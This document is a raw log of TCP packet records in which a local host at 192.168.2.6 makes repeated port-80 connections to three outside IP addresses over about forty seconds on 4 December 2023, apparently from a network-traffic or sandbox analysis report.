Dec 4, 2023 12:32:48.928684950 CET	49715	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.929749012 CET	80	49723	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:48.929840088 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:48.930218935 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:49.112680912 CET	80	49723	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:49.112801075 CET	80	49723	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:49.112859964 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:52.811067104 CET	49725	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:52.969610929 CET	80	49725	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:52.969732046 CET	49725	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:52.969916105 CET	49725	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:52.974443913 CET	49726	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.129576921 CET	80	49725	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:53.129795074 CET	49725	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:53.158020020 CET	80	49726	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.158118010 CET	49726	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.158288956 CET	49726	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.341948986 CET	80	49726	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.341975927 CET	80	49726	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.342099905 CET	80	49726	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.342175007 CET	49726	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.343445063 CET	49726	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.347474098 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.347994089 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.524396896 CET	80	49727	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.524766922 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.525116920 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.529712915 CET	80	49723	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.529807091 CET	49723	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.701317072 CET	80	49727	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.701334953 CET	80	49727	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:53.701400042 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:53.904822111 CET	49728	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:54.063640118 CET	80	49728	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:54.063800097 CET	49728	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:54.071654081 CET	49728	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:54.081028938 CET	49729	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.230495930 CET	80	49728	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:54.230575085 CET	49728	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:54.264879942 CET	80	49729	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.264997005 CET	49729	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.265140057 CET	49729	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.448827982 CET	80	49729	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.448846102 CET	80	49729	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.448890924 CET	80	49729	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.448978901 CET	49729	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.449055910 CET	49729	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.449385881 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.449937105 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.625772953 CET	80	49727	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.625835896 CET	49727	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.630609035 CET	80	49730	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.630682945 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.630976915 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:54.812690020 CET	80	49730	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.812712908 CET	80	49730	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:54.812798023 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:55.645593882 CET	49731	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:55.831677914 CET	80	49731	88.198.29.97	192.168.2.6
Dec 4, 2023 12:32:55.831825972 CET	49731	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:55.831964016 CET	49731	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:55.836035013 CET	49732	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.014105082 CET	80	49732	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.014238119 CET	49732	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.017781019 CET	80	49731	88.198.29.97	192.168.2.6
Dec 4, 2023 12:32:56.017858982 CET	49731	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:32:56.024765968 CET	49732	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.202948093 CET	80	49732	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.202991009 CET	80	49732	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.203018904 CET	80	49732	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.203125954 CET	49732	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.203222990 CET	49732	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.208312988 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.208782911 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.389127016 CET	80	49730	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.389239073 CET	49730	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.391329050 CET	80	49733	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.391412020 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.391668081 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:56.574440956 CET	80	49733	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.574477911 CET	80	49733	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:56.574619055 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:57.006973028 CET	49734	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:57.165851116 CET	80	49734	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:57.165944099 CET	49734	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:57.166059017 CET	49734	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:57.170032024 CET	49735	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:57.324887037 CET	80	49734	64.70.19.203	192.168.2.6
Dec 4, 2023 12:32:57.324985027 CET	49734	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:32:57.347673893 CET	80	49735	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:57.347943068 CET	49735	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:58.848037004 CET	49735	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.025829077 CET	80	49735	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.025846004 CET	80	49735	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.025859118 CET	80	49735	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.026056051 CET	49735	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.026114941 CET	49735	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.026439905 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.027082920 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.209393024 CET	80	49733	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.209453106 CET	80	49736	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.209506989 CET	49733	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.209602118 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.209922075 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:32:59.397531033 CET	80	49736	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.397552013 CET	80	49736	167.99.35.88	192.168.2.6
Dec 4, 2023 12:32:59.397665977 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:00.613567114 CET	49737	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:00.800858974 CET	80	49737	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:00.801008940 CET	49737	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:00.801213026 CET	49737	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:00.805881977 CET	49738	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:00.984235048 CET	80	49738	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:00.984395027 CET	49738	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:00.984564066 CET	49738	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:00.988368988 CET	80	49737	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:00.988576889 CET	49737	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:01.162820101 CET	80	49738	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.162848949 CET	80	49738	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.162862062 CET	80	49738	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.162998915 CET	49738	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.163110018 CET	49738	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.163450956 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.163979053 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.346021891 CET	80	49739	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.346167088 CET	80	49736	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.346184969 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.346311092 CET	49736	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.346601963 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:01.528431892 CET	80	49739	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.528455973 CET	80	49739	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:01.528650045 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.342550039 CET	49740	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:02.501148939 CET	80	49740	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:02.501219988 CET	49740	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:02.501368999 CET	49740	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:02.508244991 CET	49741	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.661034107 CET	80	49740	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:02.661112070 CET	49740	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:02.693279982 CET	80	49741	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:02.693358898 CET	49741	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.693531036 CET	49741	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.877928019 CET	80	49741	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:02.878170967 CET	80	49741	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:02.878387928 CET	49741	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.878576994 CET	80	49741	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:02.878633022 CET	49741	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.889807940 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:02.890568972 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:03.071388960 CET	80	49742	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:03.071528912 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:03.071981907 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:03.072076082 CET	80	49739	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:03.072160006 CET	49739	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:03.252877951 CET	80	49742	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:03.252918959 CET	80	49742	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:03.253062963 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:05.471658945 CET	49743	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:05.657783985 CET	80	49743	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:05.657963037 CET	49743	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:05.663203001 CET	49743	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:05.667752981 CET	49744	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:05.845762014 CET	80	49744	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:05.846044064 CET	49744	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:05.846298933 CET	49744	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:05.849405050 CET	80	49743	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:05.849487066 CET	49743	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:06.023844004 CET	80	49744	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.023861885 CET	80	49744	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.023927927 CET	80	49744	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.024033070 CET	49744	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.024200916 CET	49744	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.024576902 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.025511026 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.205322027 CET	80	49742	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.207282066 CET	49742	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.207709074 CET	80	49745	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.207798958 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.208173990 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:06.390333891 CET	80	49745	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.390383005 CET	80	49745	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:06.390625954 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.377315044 CET	49747	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:08.563400030 CET	80	49747	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:08.563519955 CET	49747	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:08.563688993 CET	49747	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:08.578887939 CET	49748	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.749892950 CET	80	49747	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:08.749988079 CET	49747	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:08.758038044 CET	80	49748	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:08.758138895 CET	49748	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.782903910 CET	49748	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.962163925 CET	80	49748	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:08.962213039 CET	80	49748	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:08.962233067 CET	80	49748	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:08.962301016 CET	49748	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.962491989 CET	49748	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.970881939 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:08.971255064 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:09.148003101 CET	80	49749	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:09.148312092 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:09.148706913 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:09.153460026 CET	80	49745	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:09.153551102 CET	49745	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:09.325073004 CET	80	49749	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:09.325100899 CET	80	49749	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:09.325227022 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:12.450086117 CET	49750	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:12.636074066 CET	80	49750	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:12.636193037 CET	49750	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:12.636368990 CET	49750	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:12.641084909 CET	49751	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:12.821485996 CET	80	49751	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:12.821595907 CET	49751	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:12.821780920 CET	49751	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:12.822254896 CET	80	49750	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:12.822303057 CET	49750	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:13.002007008 CET	80	49751	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.002070904 CET	80	49751	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.002259016 CET	49751	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.002324104 CET	80	49751	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.002379894 CET	49751	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.003703117 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.004209995 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.180552006 CET	80	49749	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.180661917 CET	49749	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.187583923 CET	80	49752	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.187679052 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.187947035 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.371954918 CET	80	49752	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.372021914 CET	80	49752	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.372102976 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.636096001 CET	49753	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:13.794912100 CET	80	49753	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:13.795027971 CET	49753	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:13.795172930 CET	49753	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:13.807212114 CET	49754	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.953872919 CET	80	49753	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:13.953934908 CET	49753	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:13.990915060 CET	80	49754	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:13.991077900 CET	49754	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:13.991192102 CET	49754	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.174818993 CET	80	49754	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.174853086 CET	80	49754	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.175004005 CET	80	49754	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.175074100 CET	49754	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.211431026 CET	49754	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.216022015 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.216633081 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.397710085 CET	80	49755	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.397901058 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.398243904 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.399796009 CET	80	49752	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.399854898 CET	49752	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:14.578730106 CET	80	49755	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.578831911 CET	80	49755	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:14.578887939 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:18.794924974 CET	49756	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:18.953706980 CET	80	49756	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:18.953864098 CET	49756	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:18.954003096 CET	49756	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:18.995383024 CET	49757	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.112744093 CET	80	49756	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:19.112807989 CET	49756	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:19.173667908 CET	80	49757	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.173769951 CET	49757	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.173913002 CET	49757	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.351902962 CET	80	49757	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.351979971 CET	80	49757	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.352055073 CET	80	49757	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.352175951 CET	49757	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.352252007 CET	49757	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.354263067 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.354794025 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.535393000 CET	80	49755	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.535523891 CET	49755	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.536565065 CET	80	49758	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.536657095 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.536947012 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:19.719161034 CET	80	49758	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.719191074 CET	80	49758	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:19.719373941 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.310889006 CET	49760	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:22.469765902 CET	80	49760	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:22.469961882 CET	49760	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:22.470308065 CET	49760	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:22.474078894 CET	49761	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.629149914 CET	80	49760	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:22.629252911 CET	49760	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:22.652220011 CET	80	49761	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:22.652287960 CET	49761	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.652453899 CET	49761	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.830499887 CET	80	49761	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:22.830523014 CET	80	49761	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:22.830537081 CET	80	49761	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:22.830594063 CET	49761	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.830696106 CET	49761	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.838145018 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:22.838655949 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:23.016021967 CET	80	49762	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:23.016292095 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:23.016659021 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:23.019747972 CET	80	49758	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:23.019821882 CET	49758	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:23.194050074 CET	80	49762	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:23.194091082 CET	80	49762	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:23.194211960 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:24.070096016 CET	49763	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:24.256042004 CET	80	49763	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:24.256128073 CET	49763	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:24.259217024 CET	49763	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:24.444967985 CET	80	49763	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:24.445065022 CET	49763	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:24.892482042 CET	49764	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.077687979 CET	80	49764	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.077848911 CET	49764	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.087301970 CET	49764	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.271508932 CET	80	49764	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.271531105 CET	80	49764	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.271562099 CET	80	49764	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.271684885 CET	49764	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.271966934 CET	49764	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.278081894 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.278783083 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.456073046 CET	80	49765	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.456091881 CET	80	49762	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.456186056 CET	49762	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.456202984 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.456542969 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:25.634054899 CET	80	49765	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.634076118 CET	80	49765	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:25.634252071 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:28.819931030 CET	49768	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:29.006902933 CET	80	49768	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:29.007071972 CET	49768	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:29.009126902 CET	49768	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:29.023983955 CET	49769	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.196365118 CET	80	49768	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:29.196470022 CET	49768	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:29.200736046 CET	80	49769	167.99.35.88	192.168.2.6
